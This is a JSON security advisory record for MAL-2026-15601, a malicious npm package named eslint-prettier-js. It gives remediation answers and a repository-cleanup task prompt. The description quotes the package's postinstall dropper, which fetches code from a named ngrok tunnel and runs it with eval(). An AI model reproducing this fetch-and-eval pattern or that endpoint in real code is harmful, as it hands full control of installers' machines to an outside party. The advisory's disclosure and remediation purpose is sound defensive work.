{"answers":{"affected":"1 open source package ship an affected version, including eslint-prettier-js.","exploited":"There is no known exploitation of MAL-2026-15601 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-15601 is a malicious package in eslint-prettier-js, published on 31 Aug 2026."},"fix_prompt":"MAL-2026-15601 is a malicious package: eslint-prettier-js (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-15601/ (Markdown: https://insights.sbomify.com/MAL-2026-15601/index.md)","id":"MAL-2026-15601","markdown":"https://insights.sbomify.com/MAL-2026-15601/index.md","name":"MAL-2026-15601","record":{"aliases":["GHSA-fp43-fcrg-6w93"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package's postinstall hook runs index.cjs's onInstall(), which performs `await fetch(\"https://2939e69fc408.ngrok-free.app/stats\")` and passes the response body to `eval()`. On `npm install` this executes arbitrary code fetched from a mutable, anonymous ngrok tunnel unrelated to any legitimate publisher, granting full code execution on the installer's machine to whoever controls that endpoint. The package's declared description (\"Test eslint and prettier\") does not match its shipped behavior — no lint/format code is present; the only runtime effect is the remote-eval dropper.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in eslint-prettier-js (npm)","id":"MAL-2026-15601","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"eslint-prettier-js","purl":"pkg:npm/eslint-prettier-js","source":"MAL-2026-15601"}],"products":null,"published":"2026-08-31","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-15601/"}